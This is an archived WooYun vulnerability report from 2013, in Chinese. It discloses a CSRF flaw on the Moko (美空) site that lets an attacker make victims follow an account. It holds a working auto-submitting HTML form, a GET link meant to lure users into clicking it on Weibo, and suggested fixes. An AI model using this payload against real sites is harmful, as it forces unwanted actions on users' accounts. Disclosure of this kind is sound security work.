当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-031830

漏洞标题：Moko!美空csrf刷粉丝

相关厂商：Moko!美空

漏洞作者： xfkxfk

提交时间：2013-07-22 17:50

修复时间：2013-07-27 17:50

公开时间：2013-07-27 17:50

漏洞类型：CSRF

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-07-22： 细节已通知厂商并且等待厂商处理中
2013-07-27： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

Moko!美空csrf刷粉丝

详细说明：

先看看用户xfkxfk的粉丝为0，他的用户id为subscribeId=180307

1.png


然后我们看看加粉丝的请求包：

2.png


没有做csrf防御，可以刷粉丝啦！
POC如下：

<html>
<body>
<form id="xfkxfk" name="xfkxfk" action="http://www.moko.cc/subscribeUpdate|faceAddSubscribe.action" method="POST">
<input type="text" name="subscribeId" value="1803071" />
<input type="submit" value="submit">
</form>
<script>
   document.xfkxfk.submit();
</script>
</body>
</html>


在本地执行以下，我们可以看到返回内容为sub，同上面截包请求一样。
而且这里还可以把POST请求换成GET请求，这样更好办了，我们在xfkxfk123这个用户中，请求加粉丝的GET请求，看看GET请求的结果，与上述一致：

3.png


然后看看我们xfkxfk的粉丝是否成功加上了：

4.png


只要我们把这个GET请求的链接：

http://www.moko.cc/subscribeUpdate|faceAddSubscribe.action?subscribeId=1803071


发到美空的微博上，诱使用户点击此链接，就可以关注xfkxfk用户，达到刷粉丝的目的。

漏洞证明：

将详细说明

修复方案：

1、判断referer
2、加token

版权声明：转载请注明来源 xfkxfk@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-07-27 17:50

厂商回复：

最新状态：

2013-11-19：正在修复